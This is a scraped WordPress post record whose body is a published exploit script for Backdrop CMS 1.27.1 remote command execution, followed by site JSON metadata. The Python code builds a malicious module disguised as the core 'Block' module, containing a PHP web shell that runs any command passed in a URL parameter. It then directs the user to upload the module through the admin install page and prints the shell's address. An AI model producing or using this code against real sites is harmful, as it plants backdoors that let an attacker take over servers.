# Exploit Title: Backdrop CMS 1.27.1 – Remote Command Execution (RCE)
# Date: 04\/27\/2024
# Exploit Author: Ahmet \u00dcmit BAYRAM
# Vendor Homepage: https:\/\/backdropcms.org\/
# Software Link: https:\/\/github.com\/backdrop\/backdrop\/releases\/download\/1.27.1\/backdrop.zip
# Version: latest
# Tested on: MacOS<\/p>\n
import os
import time
import zipfile<\/p>\n
def create_files():
info_content = “””
type = module
name = Block
description = Controls the visual building blocks a page is constructed
with. Blocks are boxes of content rendered into an area, or region, of a
web page.
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x<\/p>\n
configure = admin\/structure\/block<\/p>\n
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
“””
shell_info_path = “shell\/shell.info”
os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klas\u00f6r\u00fc
olu\u015fturur
with open(shell_info_path, “w”) as file:
file.write(info_content)<\/p>\n
shell_content = “””
<html>
<body>
<form method=”GET” name=”<?php echo basename($_SERVER[‘PHP_SELF’]); ?>”>
<input type=”TEXT” name=”cmd” autofocus id=”cmd” size=”80″>
<input type=”SUBMIT” value=”Execute”>
<\/form>
<pre>
<?php
if(isset($_GET[‘cmd’]))
{
system($_GET[‘cmd’]);
}
?>
<\/pre>
<\/body>
<\/html>
“””
shell_php_path = “shell\/shell.php”
with open(shell_php_path, “w”) as file:
file.write(shell_content)<\/p>\n
return shell_info_path, shell_php_path<\/p>\n
def create_zip(info_path, php_path):
zip_filename = “shell.zip”
with zipfile.ZipFile(zip_filename, ‘w’) as zipf:
# Dosyalar\u0131 shell klas\u00f6r\u00fc alt\u0131nda sakla
zipf.write(info_path, arcname=’shell\/shell.info’)
zipf.write(php_path, arcname=’shell\/shell.php’)
return zip_filename<\/p>\n
def main(url):
print(“Backdrop CMS 1.27.1 – Remote Command Execution Exploit”)
time.sleep(3)<\/p>\n
print(“Evil module generating…”)
time.sleep(2)<\/p>\n
info_path, php_path = create_files()
zip_filename = create_zip(info_path, php_path)<\/p>\n
print(“Evil module generated!”, zip_filename)
time.sleep(2)<\/p>\n
print(“Go to ” + url + “\/admin\/modules\/install and upload the ” +
zip_filename + ” for Manual Installation.”)
time.sleep(2)<\/p>\n
print(“Your shell address:”, url + “\/modules\/shell\/shell.php”)<\/p>\n
if __name__ == “__main__”:
import sys
if len(sys.argv) < 2:
print(“Usage: python script.py [url]”)
else:
main(sys.argv[1])<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Backdrop CMS 1.27.1 – Remote Command Execution (RCE)# Date: 04\/27\/2024# Exploit Author: Ahmet \u00dcmit BAYRAM# Vendor Homepage: https:\/\/backdropcms.org\/# Software Link: https:\/\/github.com\/backdrop\/backdrop\/releases\/download\/1.27.1\/backdrop.zip# Version: latest# Tested on: MacOS import osimport timeimport zipfile def create_files():info_content = “””type = modulename = Blockdescription = Controls the visual building blocks a page is constructedwith. Blocks are boxes of …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56941","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56941","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56941"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56941\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56941"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56941"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56941"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}